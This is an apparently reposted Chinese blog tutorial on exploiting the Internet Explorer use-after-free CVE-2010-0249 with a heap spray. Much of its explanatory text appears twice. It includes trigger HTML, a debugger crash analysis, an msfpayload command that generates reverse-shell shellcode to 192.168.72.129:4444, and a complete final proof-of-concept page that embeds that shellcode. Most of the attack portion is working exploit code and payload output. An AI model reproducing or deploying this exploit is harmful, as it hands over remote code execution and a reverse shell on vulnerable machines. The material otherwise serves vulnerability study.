Heap Spray Exploit : CVE-2010-0249 Use After Free 初探
2014-01-07 23:11
567 查看
1. 基础知识
Ø Heap spray(堆喷射)
堆喷射是一种payload 传递技术,借助堆来将shellcode放置在可预测的堆地址上,然后稳定地跳入shellcode。为了实现heap spray,你需要在劫持EIP前,能够分配并填充堆内存块。意思是指在触发内存崩溃之前,你必须能够在目标程序中可分配可控内存数据。浏览器已经为此提供了一种很简单的方法,它能够支持脚本,可直接借助javascript或者vbscript 在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器,例如你可以在Adobe
Reader 中使用Javascript 或者Actionscript 将shellcode放置在可预测的堆地址上。总结为以下三点:
1) 喷射堆块
2) 触发漏洞
3) 控制EIP并使其指向堆中
Ø Use after free
简单的说就是在释放内存后对其进行引用会导致程序崩溃。希望通过今天的实例,来搞懂这个知识点。
2. 触发代码
当IE加载页面时,首先会创建200个comment标签,并且设置值为“AAA”(这里的AAA你可以换成任意值,因为在后面我们要覆盖它,去触发异常)。之后当加载abcd.gif时,调用FRemove函数。
FRemove函数首先创建了IMG标签对象,之后设置其SpanID的父标签为空,而导致了父标签释放。并且每50秒重新运行一次FOvewrite。这个父标签的释放导致了use-after-free漏洞的出现。而FOverwriter函数,将comment的值改变。然后通过Element1.srcElement引用父标签,导致指针异常。
用windbg附加IE6,查看结果,出现异常。
程序在mov eax,dword ptr [ecx] 时,访问越界。程序是要将ecx所指向的内存,移入一个DWORD大小的值给eax,但是由于ecx的值为aaaaaaaa,指向的是非法的内存地址,因此,导致程序异常。
035a2531 8b01 mov eax,dword ptr [ecx]
035a2533 ff5034 call dword ptr [eax+34h]
035a2536 8b400c mov eax,dword ptr [eax+0Ch]
035a2539 c3 ret
如果我们想从这里直接利用,call dword ptr [eax+34h] 给了我们很大的便处。
简单的前两句汇编代码可以这么理解
call *(*(ecx)+0x34)
所以我们开始heap spray,目的是在堆空间中,构造nops+shellcode。
这里的nops不仅仅指的是9090 而是指的那些对程序执行无关紧要的指令。
为什么要选择0x0c0c0c0c作为nops和跳转的指令和地址,我们反编译0x0c0c0c0c所代表的指令,
反汇编之后,0x0c0c指令为 or al, 0ch 不影响cpu的执行。
这里有个麻烦的是 申请堆块的大小,如果堆块太小,0x0c0c0c0c对应的是无效的地址。
如果申请的大小过大,将使整个电脑的运行速度变慢。所以,0x50000值你可以根据自己的系统设定。
我们最后用msf 生成payload:
所以最终的poc:
这里有个问题,就是由于是打开本地文件,所以,浏览器有缓存,因此我们的heapspray会失败,因此我们需要清除缓存。
最终我们的实验结果:
谢谢,可能有很多没讲清楚的地方,欢迎和大家一起交流,一起提高
参考:
http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html
Ø Heap spray(堆喷射)
堆喷射是一种payload 传递技术,借助堆来将shellcode放置在可预测的堆地址上,然后稳定地跳入shellcode。为了实现heap spray,你需要在劫持EIP前,能够分配并填充堆内存块。意思是指在触发内存崩溃之前,你必须能够在目标程序中可分配可控内存数据。浏览器已经为此提供了一种很简单的方法,它能够支持脚本,可直接借助javascript或者vbscript 在触发漏洞前分配内存。堆喷射的运用并不局限于浏览器,例如你可以在Adobe
Reader 中使用Javascript 或者Actionscript 将shellcode放置在可预测的堆地址上。总结为以下三点:
1) 喷射堆块
2) 触发漏洞
3) 控制EIP并使其指向堆中
Ø Use after free
简单的说就是在释放内存后对其进行引用会导致程序崩溃。希望通过今天的实例,来搞懂这个知识点。
2. 触发代码
<html> <script> // Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite var Array1 = new Array(); for (i = 0; i < 200; i++) { Array1[i] = document.createElement("COMMENT"); Array1[i].data = "AAA"; } var Element1 = null; // Function is called by the onload event of the IMG tag below // Creates and deletes object, calls the function to overwrite memory function FRemove(Value1) { Element1 = document.createEventObject(Value1); // 创建IMG标签对象 document.getElementById("SpanID").innerHTML = ""; // 设置父标签为空,从而触发heap free window.setInterval(FOverwrite, 50); // 调用重写模块,每50秒一次 } // Function attempts to overwrite heap memory of deleted object and then access object to trigger crash function FOverwrite() { buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA"; for (i = 0; i < Array1.length; i++) { Array1[i].data = buffer; // 向buffer中写入字符串,尝试重写以删除了的标签的堆内存 } var a = Element1.srcElement; // 调用指向删除了节点的指针,触发crash } </script> <body> <span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html> </body> </html>
当IE加载页面时,首先会创建200个comment标签,并且设置值为“AAA”(这里的AAA你可以换成任意值,因为在后面我们要覆盖它,去触发异常)。之后当加载abcd.gif时,调用FRemove函数。
FRemove函数首先创建了IMG标签对象,之后设置其SpanID的父标签为空,而导致了父标签释放。并且每50秒重新运行一次FOvewrite。这个父标签的释放导致了use-after-free漏洞的出现。而FOverwriter函数,将comment的值改变。然后通过Element1.srcElement引用父标签,导致指针异常。
用windbg附加IE6,查看结果,出现异常。
程序在mov eax,dword ptr [ecx] 时,访问越界。程序是要将ecx所指向的内存,移入一个DWORD大小的值给eax,但是由于ecx的值为aaaaaaaa,指向的是非法的内存地址,因此,导致程序异常。
035a2531 8b01 mov eax,dword ptr [ecx]
035a2533 ff5034 call dword ptr [eax+34h]
035a2536 8b400c mov eax,dword ptr [eax+0Ch]
035a2539 c3 ret
如果我们想从这里直接利用,call dword ptr [eax+34h] 给了我们很大的便处。
简单的前两句汇编代码可以这么理解
call *(*(ecx)+0x34)
所以我们开始heap spray,目的是在堆空间中,构造nops+shellcode。
这里的nops不仅仅指的是9090 而是指的那些对程序执行无关紧要的指令。
<html> <script> var shellcode = unescape('%ucccc%ucccc'); var bigblock = unescape('%u0c0c%u0c0c'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x50000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 500; i++) { memory[i] = block + shellcode } // Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite var Array1 = new Array(); for (i = 0; i < 200; i++) { Array1[i] = document.createElement("COMMENT"); Array1[i].data = "AAA"; } alert("begin"); var Element1 = null; // Function is called by the onload event of the IMG tag below // Creates and deletes object, calls the function to overwrite memory function FRemove(Value1) { Element1 = document.createEventObject(Value1); // Create the object of the IMG tag document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free() window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms } // Function attempts to overwrite heap memory of deleted object and then access object to trigger crash function FOverwrite() { buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c"); for (i = 0; i < Array1.length; i++) { Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object } var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash } </script> <body> <span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html> </body> </html>
为什么要选择0x0c0c0c0c作为nops和跳转的指令和地址,我们反编译0x0c0c0c0c所代表的指令,
反汇编之后,0x0c0c指令为 or al, 0ch 不影响cpu的执行。
这里有个麻烦的是 申请堆块的大小,如果堆块太小,0x0c0c0c0c对应的是无效的地址。
如果申请的大小过大,将使整个电脑的运行速度变慢。所以,0x50000值你可以根据自己的系统设定。
我们最后用msf 生成payload:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.72.129 LPORT=4444 J // windows/shell_reverse_tcp - 314 bytes // http://www.metasploit.com // VERBOSE=false, LHOST=192.168.72.129, LPORT=4444, // ReverseConnectRetries=5, ReverseAllowProxy=false, // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript= %ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff
所以最终的poc:
<html> <script> function heapspray() { var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u8148%u0268%u1100%u895c%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff'); var bigblock = unescape('%u0c0c%u0c0c'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x50000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 500; i++) { memory[i] = block + shellcode } } // Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite var Array1 = new Array(); for (i = 0; i < 200; i++) { Array1[i] = document.createElement("COMMENT"); Array1[i].data = "AAA"; } //alert("begin"); var Element1 = null; // Function is called by the onload event of the IMG tag below // Creates and deletes object, calls the function to overwrite memory function FRemove(Value1) { heapspray(); Element1 = document.createEventObject(Value1); // Create the object of the IMG tag document.getElementById("SpanID").innerHTML = ""; // Set parent object to null to trigger heap free() window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms } // Function attempts to overwrite heap memory of deleted object and then access object to trigger crash function FOverwrite() { buffer = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c"); for (i = 0; i < Array1.length; i++) { Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object } var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash } </script> <body> <span id="SpanID"><IMG src="./abcd.gif" onload="FRemove(event)" /></span></body></html> </body> </html>
这里有个问题,就是由于是打开本地文件,所以,浏览器有缓存,因此我们的heapspray会失败,因此我们需要清除缓存。
最终我们的实验结果:
谢谢,可能有很多没讲清楚的地方,欢迎和大家一起交流,一起提高
参考:
http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html
相关文章推荐
- IE右键菜单被修改
- IE:获取完整的网页
- IE:脱机浏览网页
- 利用IE收听“广播”
- 清除IE分级审查密码
- IE:添加编辑器
- IE:“自动完成”功能
- IE:如何做到全屏显示
- 给IE加个参数 永远不怕IE主页被修改
- IE:使用搜索助手
- IE:最好用的起始页
- IE:临时文件保存法
- 欲练CSS ,必先解决IE的一些细节分析
- 不同版本IE使用不同css(css条件注释语句用法)
- 解决ie动态修改link样式,import css不刷新的问题
- 暂时屏蔽 IE 最新 0day的4 种方法
- 更改IE浏览器的图标
- 修正IE下使用CSS属性overflow的bug
- IE对CSS样式表的限制分析与解决方案
- 用CSS让表格返转的代码 IE only